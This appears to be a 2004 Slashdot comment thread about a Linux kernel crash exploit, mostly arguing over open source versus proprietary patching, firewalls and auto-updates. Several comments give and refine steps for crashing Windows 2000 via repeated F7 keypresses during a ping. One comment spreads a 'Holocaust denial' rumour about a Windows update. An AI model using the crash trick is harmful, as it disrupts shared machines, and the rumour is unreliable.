New Linux Kernel Crash-Exploit discovered

There's a big difference... by Allen+Zadr · 2004-06-14 01:07 · Score: 5, Insightful

Here is a perfect example of the difference between the Open Source way and a proprietary way.

There are goods and bads, however, the information is readily available. There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose. If they don't choose, they can use the proprietary code method - wait for the official vendors to release a patch.

In proprietary land, a vendor would first sue the person who released the information. Then, the re-iteration that you won't be vulnerable if you use a "properly configured firewall," then they'd start working on a fix.

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Re:There's a big difference... by QBasicer · 2004-06-14 01:10 · Score: 1

But with open source, people can work together to make it work much better, and if they want something, they can code it in themselves, instead of making a feature request.

--
x86, oh yes, I'm pro.
Re:There's a big difference... by garcia · 2004-06-14 01:12 · Score: 2, Insightful

There are goods and bads, however, the information is readily available. There are patches that "work", even before a full explanation is available.

This is how it always was. So? MS has plenty of patches out there for known vunerabilities (sometimes faster than others). Does it matter? NO. You know why? Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.
Re:There's a big difference... by martingunnarsson · 2004-06-14 01:16 · Score: 1

No, there's no big difference here, it works the same way in open- and closed source development. But of course there might be differences between different companies/projects. 1. Exploit discovered 2. Patch is created, or not 3. If a patch was created, it's released to the users (And no, no "Profit!")

--
Martin
Re:There's a big difference... by ThomK · 2004-06-14 01:19 · Score: 0, Troll

Spin, spin, sugar.

Eventually all /. posts are going to devolve to:

LINUX GOOD
MICROSOFT BAD

Well at least that way it'll be easier to mod.

--
TK
Re:There's a big difference... by Saratoga+C++ · 2004-06-14 01:21 · Score: 1

You know, that WAS a great comment until that last little bit of preteen style bitching. It doesn't happen very often that a person was sued when they found a "feature" unless they exploited it.

And, a properly configured firewall fixes alot more then just those little issues for ANY system. You make it sound like linux doesn't need a firewall.
Re:There's a big difference... by martingunnarsson · 2004-06-14 01:22 · Score: 1, Interesting

Exactly, it's been a long time since the lack of patches was the biggest security problem with Windows. On the "home"-versions of Windows, automatic installation of patches should be mandatory for internet connected machines. Of course Micrsoft shouldn't use this feature to install *all* patches, only the critical ones.

--
Martin
Re:There's a big difference... by cgenman · 2004-06-14 01:22 · Score: 4, Interesting

I love how "properly configured firewall" is the solution to everything. Hackers root your box? You didn't have a properly configured firewall. System eaten by a worm? You should have had a properly configured firewall. Your windows box zombified and sending out spam? Seriously consider investing in a properly configured firewall.

Forget the firewall, get a properly implemented system.

--
The ______ Agenda
Re:There's a big difference... by Donny+Smith · 2004-06-14 01:26 · Score: 5, Insightful

>Windows users don't tend to care.

Or "Windows users tend not to care?"

Incidentally currently I'm a (primarily) Windows user and I do patch (actually it's "install updates") when Windows tells me they're ready (if I estimate I need the particular update).

Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least.
How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..
Re:There's a big difference... by AWHITEMAN · 2004-06-14 01:29 · Score: 0

Guess since you wrote the Linux Good part that wasn't considered flamebait...

--
-- Note to liberals, yes please flee to Canada.
Re:There's a big difference... by lone_marauder · 2004-06-14 01:32 · Score: 1

Here is a perfect example of the difference between the Open Source way and a proprietary way.

Well, that and the fact that a local DoS is a big deal to us.

--
who are those slashdot people? they swept over like Mongol-Tartars.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:32 · Score: 3, Interesting

Here's a neat trick to try under Windows 2000.

Open a command window (start->run->"cmd")
Ping any host (for example a host on your lan)
Now press F7 and enter a couple of times.

The machine reboots :)

This works on almost every W2K machine I've tried on, regardless of SP level. In general, local exploits like these aren't taken seriously at all on Windows. Basically, if you've got full access to the machine all bets are off, there's just so many ways to bluesceen the machine intentionally, many including interesting ways when messing with a cd-rom drive :) Contrast this with Unix/Linux having a long history of being multi-user OS's and regarding these issues as serious. We've been patching these issues for decades now and unforuntatly will likely continue to do so, but only recently has MS even aknowledged this as a problem.
Re:There's a big difference... by Ford+Prefect · 2004-06-14 01:33 · Score: 4, Interesting

You know why? Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

Sudden thought - is there much of a Windows 'community', or has it all fragmented into myriad different areas?

That's possibly one aspect in security that's often overlooked; for instance, when the recent Mac OS X vulnerabilities became known, word went around the Mac community very quickly, and people discovered new aspects of the problems, created workarounds like Paranoid Android...

There's something very similar with Linux as well - but is there a Windows equivalent of, say, Slashdot? Do Microsoft-oriented community discussion sites exist, complete with flamewars over widget styles in Microsoft Word, etc etc etc?

Or do you have to be an underdog for such a thing to exist?

--
Tedious Bloggy Stuff - hooray?
Re:There's a big difference... by AntiChris · 2004-06-14 01:35 · Score: 2, Informative

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.

That's right... they don't want to break the CometCursor, KaZaa, download managers, money savers, and other malware etc that are in the tray... then they wonder why their computers always crash and blame it on Microsoft.
I work as an IT Director for a real estate company and as a tech for Best Buy and at BB we've started a tally for the highest number of malware found by AdAware... I think the highest was well over 5000!!! Needless to say we recommended a restore O_o
-

--
From 0 to drunk in $20
Re:There's a big difference... by Rectum2003 · 2004-06-14 01:35 · Score: 5, Insightful

What he is saying is that most Windows users are the masses that don't actually care. Other OSes don't have this problem due to the fact that they are mostly used by geeks that understand why it is so important to update your OS (any OS for that matter). Not to say that there are not millions of consciencious users (like you) who actually have a clue and know how to secure and patch a Windows machine, of course.
Re:There's a big difference... by bamberg · 2004-06-14 01:37 · Score: 2, Insightful

Yeah, the open source mentality at work - on day zero fo a vulnerability announcement, designate those offering free public computing as a "lame free-shell provider", and take them down, together with the users who depend on them.

This isn't the open source mentality and it's dishonest of you to claim it is. The following quote from the article:

"This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged)."

indicates that there have been reports that the bug is being exploited, not that open source supporters are intentionally crashing other people's boxes.

Only open source people would be stupid and nasty enough to do this sort of thing - if any software company took down its clients on purpose, they'd get seriously sued.

This is obviously untrue. Windows bugs are exploited all the time -- the people doing that are not "open source people". Why would say something so obviously incorrect in a forum where you're not likely to fool anyone?
Re:There's a big difference... by grahamlee · 2004-06-14 01:38 · Score: 4, Interesting

I think it's probably just fair to say that the number of Linux-scriptkiddie wannabies is as nonzero as the number of Windows-scriptkiddie wannabies, and that a trivial piece of code guaranteed to crash any Linux/x86 system is attractive to any number of scriptkiddies. They just chose to crash someone else's machine instead of their own - I went for trying it out on the latter and have since modified the kernel on that machine. Note though that the phrase "lame free-shell provider" is not attributable to the author of TFASA, who does go on to say "this is illegal in most parts of the world and strongly discouraged". That phrase was probably passed on to them by some skiddie who wanted to go "hey look at me i am so l33t it's unbelievable i can like read gcc-bug and everything!!!11".
Re:There's a big difference... by Verteiron · 2004-06-14 01:39 · Score: 4, Insightful

Real simple answer to that; you are not a typical Windows user.

The vast majority of Windows users behave exactly as the grandparent post states. I know this because I deal with the results every day in my shop. I'd guess that 80% of the machines I see are in due to spyware and virus problems that could have been fixed with a patch available weeks earlier. More often than not, when I get these systems up and running, the first thing that happens is "*pop* Windows has downloaded updates and is now ready to install them." So the updates were already downloaded, waiting for the user to click "Install"... but the user never did, for reasons already mentioned.

Automatic patching on XP Home would be doing end-users (and the internet!) a huge favor.

--
End of lesson. You may press the button.
Re:There's a big difference... by garcia · 2004-06-14 01:40 · Score: 3, Insightful

Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least. How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..

This is puzzling to you? Hmm, I am more puzzled by the fact that entire COMPANIES went down when some of the worms started spreading because of unpatched systems that should have been patched MONTHS (almost a year IIRC) before.

Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

You read obviously read Slashdot therefore you are not a typical Windows user. You know about vunerabilities and even if Windows didn't tell you about them you'd still have an idea of what to watch out for (and possibly fix). My generalization is 100% dead on accurate. Most Windows users do not care, are afraid to patch, or just don't know.
Re:There's a big difference... by Len+Budney · 2004-06-14 01:40 · Score: 5, Funny

I love how "properly configured firewall" is the solution to everything. Hackers root your box? You didn't have a properly configured firewall. System eaten by a worm? You should have had a properly configured firewall. Your windows box zombified and sending out spam? Seriously consider investing in a properly configured firewall.

I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely. Haven't had a problem since.

What we really need is an article suggesting how I can speed up my downloads...
Re:There's a big difference... by gfxguy · 2004-06-14 01:46 · Score: 4, Insightful

You get that impression but there are a lot of slashdot users, even ones that use Linux (like me) who will defend MS when appropriate.

That said, it does seem to be true that a Linux patch will appear a lot more quickly than an MS patch, and that seems to be a result of the fact that it's open source.

--
Stupid sexy Flanders.
Re:There's a big difference... by the_mad_poster · 2004-06-14 01:46 · Score: 4, Informative

Yea, the only difference is that in OSS the steps are usually covered in about a third the time.

This hit the kernel-list dated 2004-06-09 21:02:57 . It is now 2004-06-14 09:41:12 in my neck of the woods, and it is patched. The last update mentioned on the article's page is yesterday. It would appear the patch was available in no more than 4 days. It takes more than four days for a lot of vendors just to look at the goddamn report. Then they spend the next week hoping it goes away on it's own. Then they ignore the follow ups. Two months later when the submitter has had enough, they go to FULL DISCLOSURE and the vendor gets pissed off and starts attacking the person who reported it for not giving them enough time to write a patch they haven't even started on. Then they spend another month making lousy excuses for why it's not a serious issue and half assed suggestions of what you can turn off to avoid the problem. Finally, after about four months of hand wringing, press releases, and general bullshit, you might get a patch. If you're lucky, it won't require you to start the process over again by introducing a brand new vulnerability. If you're lucky.

There's a huge difference here. The Linux folks jumped up and solved the problem. They didn't sit around pissing on their hands for months and making excuses like a lot of vendors do.

--
Alito: A vote for Alito is a punch in the eye to put that bitch back in her place!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:46 · Score: 0

No, I think Microsoft tends not to care. Witness the latest IE exploit (discussed here on /.) that depended in part on an exploit reported to them in Aug, 2003.

Microsoft decided that it was not a problem.
Re:There's a big difference... by ynohoo · 2004-06-14 01:48 · Score: 3, Interesting

Funnily enough the Windows version of Slashdot is Slashdot. It's also the equivelent site for Mac OSX, BeOs, Amiga... you may have noticed that Taco & friends don't wear the full strength Linux blinkers.

--
need a free COBOL editor for Windows?
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:48 · Score: 0

What's your point?
Re:There's a big difference... by Fizzol · 2004-06-14 01:49 · Score: 2, Informative

In defence of the article "lame free-shell provider" is presented in quotes, it's not the website or the author using the term. It's a quote from the perpetrator. There's no connection to open source.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:51 · Score: 0

How does installing only critical updates help?

KB833407, aka "Holocaust denial", aka "remove every hint of what happened during WW2" is still labeled a critical update, although it has nothing to do with security or anything else important.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:55 · Score: 0

Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..

You must be new here...
Re:There's a big difference... by Anonymous Coward · 2004-06-14 01:57 · Score: 0

You have no idea what you are talking about. Assuming we are talking about Microsoft, the biggest proprietary vendor everyone loves to hate, then your statements are pure rubbish.

First, if Windows had a kernel problem then everyone would be quick to bash the programming quality from Microsoft. So it seems like only the Linux kernel programmers are allowed to make mistakes.

Second, when you tell Microsoft about a problem they do not sue you. They give you recognition. @Stake does it all the time. Microsoft always gives credit to @Stake when they find an exploit, and @Stake always has these exploits on their website, with example programs.

Third, ever since Windows Update, Microsoft gets a patch out as soon as possible and the patch gets applied. I don't know about others, but I don't have to subsribe to newsgroups or a Windows website to know there is a patch I have to get.

Sometimes a Linux patch comes out faster than a Microsoft patch, and sometimes a Microsoft patch comes out faster than a Linux patch. I doubt you have the numbers to back up your claims. Regardless of who is to blame, Microsoft always has someone actively working on a solution. That is true now more so than ever because Microsoft knows they have a tarnished reputation. Statements like "..., then they'd start working on a fix" are pure BS. Clearly this is another case of 18 year old college freshmen who modded this parent post to 5.
Re:There's a big difference... by m00nun1t · 2004-06-14 01:58 · Score: 1

Can you name an instance of a "proprietary vendor" sueing someone who released this type of information?

--
Read reviews of shopping cart software
Re:There's a big difference... by mwood · 2004-06-14 02:00 · Score: 1

Okay, I applaud you for being in the tiny minority of MS Windows users who try to be good citizens and manage their machines properly. Unfortunately the thousands who do still have to suffer from the indifference or timidity of the millions who don't. The world needs more like you and fewer of the other sort.
Re:There's a big difference... by Kjella · 2004-06-14 02:04 · Score: 1, Insightful

Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least. (...) Generalization like that should be discouraged

I agree perfectly. The proper generalization is "Users don't tend to care". System administrators do. And most people on slashdot are that, if not on more than their own machine. It tends to work a little better since admins under Linux have an easier time updating the systems, but the users don't care either way.

I think it's a lack of analogies - how often is anything else rendered unusable by not doing something? You can *not* maintain a car, and it'll eventually break down, but it takes ages. Not updated with last weeks patches? Whoops [AOL] You've got worms! [/AOL]. Keeping a computer up to date feels like polishing your car every weekend. Neither is fun nor interesting...

Kjella

--
Live today, because you never know what tomorrow brings
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:05 · Score: 0

What we really need is an article suggesting how I can speed up my downloads...
Get a properly configured firewall!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:07 · Score: 0

Here is a perfect example of the difference between the Open Source way and a proprietary way.

One of the "selling" points of open source is that they're a vast array of eyes looking at the code and thus bugs are caught quickly. Well, this bug has existed for quite some time. So much for that argument.
Re:There's a big difference... by martingunnarsson · 2004-06-14 02:07 · Score: 1

With critical, I mean the patches that really are critical.

--
Martin
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:14 · Score: 2, Informative

Doesn't crash my win2k pro box. I'm all for slagging off MS, but lets do it with real bugs eh?
Re:There's a big difference... by MP3Chuck · 2004-06-14 02:14 · Score: 3, Funny

The tin-foil-hat crowd (on /. and elsewhere) would go bonkers if XP automaticaly auto-patched.

Damned if you do...

--
Who doesn't like free music?
Re:There's a big difference... by Allen+Zadr · 2004-06-14 02:14 · Score: 5, Informative

A well patched system, Linux or Windows, doesn't need a firewall.
"WHAT YOU SAY!?"
I run a corporate network without a firewall. Every time a major issue comes around and destroys every freaking company around me, I go by with maybe two systems effected. Why? I stay up-to-date on all patches, and I keep relatively SANE security policies in place.
A firewall is a lot less necessary than firewall vendors would have you believe. My experience is that firewalls breed a false sense of security. Someone goes home over the weekend with a laptop - and comes back with a zombie virus/worm/etc. that goes and infects everything while the IT department is "taking their time" evaluating a security update for a month (I do 24 hour tests).
Why not firewall, is the other thing I hear. Mostly, it's so that every one of my systems can be an internet service provider. That's what the internet is about. Enabling users to say, hey - I've got that file right here on my local FTP, come get it. Here, log onto my VNC desktop, and I'll show you.
Firewalls create industries like WebEx. Because technology has come from 'wow, I didn't know you could do that,' to, 'I didn't know you could do that because I'm firewalled.'
Finally, "It doesn't happen very often," quite clearly means that it has happened. Call it pre-teen style bitching if you will, but a lawsuit should have never been threatened (AFAIK, a lawsuit never actually went to court). Is someone finds a vulnerability, full disclosure should not be the only method to have Microsoft take you seriously. My teen years are LONG behind me, maybe I'm just sick of having to deal with Microsoft's crap since Windows for Workgroups 3.11 (when the problems started for me).

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:There's a big difference... by Minwee · 2004-06-14 02:16 · Score: 5, Funny

Of course you realise that by doing that you are violating several patents on "Air Gap Firewall Technology".
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:17 · Score: 1, Insightful

Who decides that?
Re:There's a big difference... by frankrachel · 2004-06-14 02:17 · Score: 2, Interesting

Yes, the problem was solved, but *how* does that fix get propogated to the masses. And I don't mean the techno-savvy masses - I mean my brother who I set up with Linux. He's not going to be patching his kernel, I can tell you that. He doesn't even know what a kernel is. Is an "auto installable" patch available for all the distributions? If not, then who cares how fast it was found and that a "patch" fix was available. When will the fix that ANYONE can easily install be available?
Re:There's a big difference... by Len+Budney · 2004-06-14 02:19 · Score: 1

Of course you realise that by doing that you are violating several patents on "Air Gap Firewall Technology".

You're right! My bad! I forgot the most important step: to avoid an Air-Gap lawsuit from SCO, you must insert both cable ends into a bucket of sand. Change the sand periodically, to avoid a buildup of spam and viruses.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:19 · Score: 5, Insightful

Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

dont play that game... 3 months before the big nasty worm that hit I was threatened with being fired because I patched all my systems with thew RPC hole patch... Not by my supervisor but by a bunch of jerks in corperate IT... after it hit and we were immune to the problems, did I hear an "I'm sorry?" or anything else? nope.. my boss bought me lunch that entire week and wrote a shining/gleaming letter to be put in my employment file... but corperate asshats refused to acknowlege that a nobody from the midwest division knew more than them.

Most of the problems in companies that got nailed with the RPC hole worms was ignorance and apathy.. they do things "their way" and ignore anyone below them on the totem pole.. until the fire starts raging...

My boss and many of us are starting to change corperate IT by throwing them under the bus at every chance.... It's the only solution we can see to fix the problem.
Re:There's a big difference... by vadim_t · 2004-06-14 02:22 · Score: 1

Actually, some idiots in collaboration with Steve Gibson are trying to sell exactly this idea for $30. The first time I heard of it, it cost $40.

It's called PathLock e100 NETimer
Re:There's a big difference... by magefile · 2004-06-14 02:24 · Score: 1

I'm still waiting until they release the 802.11 version of that firewall.
Re:There's a big difference... by the_mad_poster · 2004-06-14 02:28 · Score: 0, Troll

So, in other words, the problem isn't that you intentionally set up a Linux box for an individual who you knew wasn't equipped to maintain it... it's that the patch doesn't take into consideration the fact that there are people out there who are too lazy to learn some basic tasks to maintain their system?

I think I'm beginning to see what's going on here...

Besides, if he sits around long enough flicking his boogers about, up2date and emerge will be able to do it with some very incredibly complex typing that all fits on one line.

--
Alito: A vote for Alito is a punch in the eye to put that bitch back in her place!
Re:There's a big difference... by maximilln · 2004-06-14 02:28 · Score: 2, Funny

Of course not. Typically the "cease, desist, and KEEP YOUR MOUTH SHUT" letter is plenty good enough.

Now that you really plug for it, though, wasn't there a guy in France who was on the run for publishing exploits in common Anti-Virus software? Slashdot even had a story about him. I tried googling, but "France antivirus vulnerability author" doesn't quite match the pages that I wanted.

Googling for "framed because proprietary software companies are opportunistic pigs" doesn't quite get it either.

--
+++ATHZ 99:5:80
Re:There's a big difference... by maximilln · 2004-06-14 02:31 · Score: 1

Oh Yeah? How about that newest vuln. in MS IE which relies on an exploit in their help system which they've known about since AUGUST of '03?!

Does that count as "as soon as possible"? It also defeats the myth that 0-day exploits don't exist.

--
+++ATHZ 99:5:80
Re:There's a big difference... by finkployd · 2004-06-14 02:34 · Score: 1

dont play that game... 3 months before the big nasty worm that hit I was threatened with being fired because I patched all my systems with thew RPC hole patch... Not by my supervisor but by a bunch of jerks in corperate IT... after it hit and we were immune to the problems, did I hear an "I'm sorry?" or anything else? nope.. my boss bought me lunch that entire week and wrote a shining/gleaming letter to be put in my employment file... but corperate asshats refused to acknowlege that a nobody from the midwest division knew more than them.

Most of the problems in companies that got nailed with the RPC hole worms was ignorance and apathy.. they do things "their way" and ignore anyone below them on the totem pole.. until the fire starts raging...

That kind of crap makes me glad I work in academia. They give me a PC, complete unfiltered access to the internet, and that is it. I want to install linux/bsd/beos/whatever, they are cool with it as long as I do my job and don't get hacked. It is MY responsibility to secure my machine, not some clueless MCSE (redundant I know) who thinks everyone is most productive when their PC is locked down and under their complete control.

Granted I know not every university works this way, and some corporations are laid back when it comes to IT but generally that is not the case.

Finkployd
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:34 · Score: 0

Oh, they already did. It's called a faraday cage.
Re:There's a big difference... by freshman_a · 2004-06-14 02:36 · Score: 1

In 2002, HP threatened a group of security researchers saying HP would use the DCMA to impose $500,000 fines and imprisonment if they demonstrated a vulnerability that was found Tru64. Register article here:
http://www.theregister.co.uk/2002/07/31/hp_invokes _dmca_to_quash/

IMHO, this is definately a situation in which a proprietary vendor threatened someone for finding a bug in their product.

--
Slackware
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:36 · Score: 0

I've said it before, I'll say it again. Sometimes a company CANNOT patch a vulnerability because it causes a critical business application to crash or behave incorrectly.

What can you do if internet access is required, other than try to forbid laptops from home (the managers will ignore this "security measure")? Establish an isolated network that only workstations on that network, and forbid machines going from one network to the other?
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:37 · Score: 0

NOT_REPRODUCIBLE
When I press I get the command history and "enter" couple or ten times won't make a difference.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:39 · Score: 0

I find it be quite the opposite. I find that sysadmins *don'* care. If they did care they would systems in place to rollout patches already, full antivirus (unable to be disabled) and a competent gateway virus protection solution.

I personally care little over Solaris/Linux patches because who's going to exploit them? You'll notice less unix boxes are patched than windows boxes if you do some actual research. Because NO one cares about crashing them.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:40 · Score: 2, Informative

Yeah, well, the so-called "tin-foil-hat crowd" has noticed the fact that autoupdate on windows XP is crap. Have you ever compared the list of updates it gets for you, to the list on the actual windows update site? I've had cases where there were 2-3 more critical updates that autoupdate didn't download.

It also doesn't help that it won't autoupdate service packs, causing everything after the service pack to just not show up, without autoupdate even notifying you that there is a service pack to manually download and install.

And way back when the slammer worm was big news, autoupdate got the patch to me the week after it made /. (complete with people griping that the patch was out "months ago"). And then got the patch again every day for the next 4 days.

Tin foil and conspiracy theory has nothing to do with the fact that I no longer trust autoupdate.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:41 · Score: 0

Well, it crashes mine, and the bug is well documented on the net, for example here. According to Securityfocus the bug doesn't work if you've disabled the function to automatically reboot in the case of critical failure (in the system control panel).
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:41 · Score: 0

If you run a shop you only see the machines that don't get updated. 80% of the machines you see is probably a small fraction of the windows user base
Re:There's a big difference... by RickHunter · 2004-06-14 02:42 · Score: 3, Insightful

Yup, and you know why? Because Microsoft tends to introduce arbitrary EULA or functionality changes in their patches. So with an autopatching system, you'd be agreeing to these changes implicitly. Whoops.
Re:There's a big difference... by southpolesammy · 2004-06-14 02:42 · Score: 2, Interesting

The tin-foil-hat crowd would probably also know how to disable any auto-patching. However, for the vast majority of Windows users, this would be a really, really good thing to have. To most of them, the computer is no different than a toaster or the cable box -- it just has to work. If that means little green guys inside the computer update it when needed, that's sufficient for most.

The reduction in spam and viruses alone would be worth the effort.

--
Rule #1 -- Politics always trumps technology.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:43 · Score: 0

There's a huge difference here. The Linux folks jumped up and solved the problem. They didn't sit around pissing on their hands for months and making excuses like a lot of vendors do.

^^^

That's because their software isn't tied into every other aspect of the OS. Maybe that's Microsoft's downfall. But every patch they release must be regression tested with 324873 products first.

They could blindly release it like Linux does and worry about what it breaks after or they could test it thoroughly first. I'd rather have the latter. Not to mention 99% of all Microsoft exploits are not exploited until a Security Advisory is released detailing it. And that's a fact!
Re:There's a big difference... by allism · 2004-06-14 02:43 · Score: 2, Insightful

80% of the machines you see are in due to patchable problems....Does that mean that the whole world is mentally ill because 80% of the people a shrink sees are crazy? I would think that for the most part a computer doesn't end up in your shop unless there's a problem that the user can't fix - this does not mean that 80% of Windows users don't take care of their computers.

--
Denver Isuzu Suzuki
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:45 · Score: 0

Show me someone that actually exploited this prior to the Security Advisory was released.

I'll bet you find 0.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:46 · Score: 0

Your ping session has to be still running while you do the F7 pounding (keep repeating F7 and enter), if you get the command history it's too late. This little trick has a place in every BOFH's toolkit.
Re:There's a big difference... by johnnyb · 2004-06-14 02:46 · Score: 5, Interesting

I think that's because automatically patching is not the solution either. The problem is that many computer users want "easy" solutions to difficult problems. They would rather take an easy road that claims to work rather than one that actually solves the problem.

My Dad is a perfect case-in-point. He's an upper-level manager of a company. He was telling me about a piece of software he was planning on purchasing. I asked him about security. His answer was, simply, that the salesperson said it was secure.

There's two things wrong with this:

1) He took the salesperson's word. In previous generations, people's words meant something. Trying to train them to think skeptically is difficult. In addition, by what yardstick would he, a non-technical manager, measure security? What's worse is that I've met his IT staff, and I wouldn't trust them to measure security, either.

2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

--
Engineering and the Ultimate
Re:There's a big difference... by zsau · 2004-06-14 02:47 · Score: 4, Informative

Didn't work for me. I just get a white screen in the middle of the command prompt with a purple border that says in purple 0: PING 192.168.0.7. Pressing Enter runs ping a couple times.

I'm far from a Windows fanboy. I use Linux almost all the time... I just happened to have a Windows box on my network atm.

--
Look out!
Re:There's a big difference... by peeping_Thomist · 2004-06-14 02:47 · Score: 2, Insightful

The vast majority of Windows users behave exactly as the grandparent post states. I know this because I deal with the results every day in my shop. I'd guess that 80% of the machines I see [...]

What makes you think that the majority of Windows users take their computers to shops for software problems? In my experience, the only people who do that are the ones too technically incompetent to solve the problem and too socially incompetent to find a techie friend to help them.

--
Anything worth doing is worth doing badly -- G.K. Chesterton
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:48 · Score: 0

Well, who knew switching your damn computer off was so hard? Modern technology eh?
Re:There's a big difference... by golgotha007 · 2004-06-14 02:48 · Score: 1

if you're a linux user (and if you are, then you're a new one), then i bet you a million dollars that you log into your desktop as root.

sorry for the barb, let me make my point.

you see, exploits typically are before patches along the timeline. if an exploit comes out that punches a major hole thru apache, then most of us are in trouble and there's not much we can do about it other than kill the service until a patch comes along (or help find a solution, if that's your cup of tea).

let's take your example: let's say you're running a box with apache, ftp, vnc server and mysql. on this machine, only apache should be available to the world because your resume is on there. fine.

however, if you only ftp from this one computer across town, and vnc from the system across the hall, then it would be retarted to open these services to the world. instead, lock those services down to be used by specific machines.

the more services you have available to the world, the more chances you have of being exploited. not only that, but if you don't block all the ports you don't use, then you may have some trojined program running some secret service on some high port somewhere, exposing your machine to the world without your knowledge.

just because your system is 100 percent current on patches doesn't mean your system isn't vulnerable.
Re:There's a big difference... by Solosoft · 2004-06-14 02:48 · Score: 2, Interesting

Why microsoft did just that. Windows XP SP2 has a new "security" center. It makes sure you have the 3 things which have haunted windows for ages.

- Automatic Updates
- Firewall
- Anti-Virus Solution

Windows XP SP2 has a new "Security Center", it will popup and complain to the user and tell it WHY it's enabling these things. Of course for people like us (mostly geeks) it's very annoying having Windows tell you what it's doing and if you choose not to it does it anyways.

Example: I am behind a Router/NAT and it complained it wanted it's firewall. It took me 20 minutes to find out how to disable that menu so it doesn't come up going "your computer is insecure".

The good thing about this is people who are open to the internet no longer worry about crap like this. Windows updates them , makes sure the AV suite is upto date and enables the firewall on all internet connections. The Firewall is better now not just blocking all the ports but it asks "Hey yahoo wants the net" so you can accept or deny it.

Once SP2 is out in final im sure all these little problems windows has with users hopefully will be solved.

--
Solosoft.org - Your Online Resource to Nothing
Re:There's a big difference... by nachoboy · 2004-06-14 02:49 · Score: 3, Insightful

Windows users don't tend to care. They don't read Windows news sites daily, they don't subscribe to mailing lists that send out warnings as soon as a vunerability is found. They don't patch when Windows tells them to.

You know why? They don't care, they don't want to "break" anything, or they don't even know that the little icon in their taskbar is any different from their 1000 other ones in the tray.

The observation you make is correct. The group you apply it to is incorrectly targeted. Do you suppose that if all of the sudden the vast majority of these Windows users migrated to a more favored OS, they would magically read relevant OS news sites daily, subscribe to kernel mailing lists, and patch when their OS told them to? Of course not. Users are users. They're not interested in OS news or maintenance any more than they absolutely have to be (which, given the nature of modern technology, is practically nil). The fact that most computer users run Windows is largely an artifact of business dealings, not some concious decision on the part of the users.

No, the way to solve such problems for the computer users of the world is by providing better defaults, ie, automatic patching turned on out of the box. If you're part of the tinfoil hat crowd, go ahead and turn off automatic patching. If you like to patch manually and can be trusted to do it, go ahead and turn it off. But if you're part of the unwashed masses, your computer just takes care of itself.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:50 · Score: 0

There is an even easier way!
Start -> Shutdown -> Restart.
Watch in horror as your machine reboots itself!
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:50 · Score: 0

I just tested this on a W2K Advanced Server machine and it worked, but you have to bash F7 multiple times. Produces a nice bluescreen with "STOP" (like it's begging for mercy }:) and a memory error code. I've got a feeling I'll have to "troubleshoot" this problem for the rest of the day, sorry boss, can't possibly make it to that meeting, terribly busy you know.
Re:There's a big difference... by Anonymous Coward · 2004-06-14 02:51 · Score: 0

If you got the command history you did it wrong. You have to do it (f7 enter f7 enter f7 enter...) while the program is still running. Then when the program is done, the command prompt tries to handle all those f7 enters and dies.
Re:There's a big difference... by martingunnarsson · 2004-06-14 02:53 · Score: 2, Funny

That sounds very good indeed! But how will the clueless users get SP2? :-)

--
Martin
Re:There's a big difference... by maximilln · 2004-06-14 03:01 · Score: 1

The author of the exploit, if you bothered to RTFA, said he only found it because he came across a web site which was using it.

Boo-yah!

--
+++ATHZ 99:5:80
Re:There's a big difference... by ckaminski · 2004-06-14 03:01 · Score: 1

Nevermind the millions who are still using Windows 98, or that bastard step-child WindowsME? Does XP comes with XP SP2?
Re:There's a big difference... by jefe7777 · 2004-06-14 03:05 · Score: 2, Funny

and i'm sure you are an idiot.

any cracker type will use ANY tool available to attack his target, open source, proprietary, underground you name it.

therefore the cracker CAN'T be "open source people" as you try to insert your little fud.

btw, i'm not "open source people" either, i use slack and os x. i use what i like.
Re:There's a big difference... by ckaminski · 2004-06-14 03:05 · Score: 1

On the up-side, autoupdate at least brings us a few good things, even if it fails:

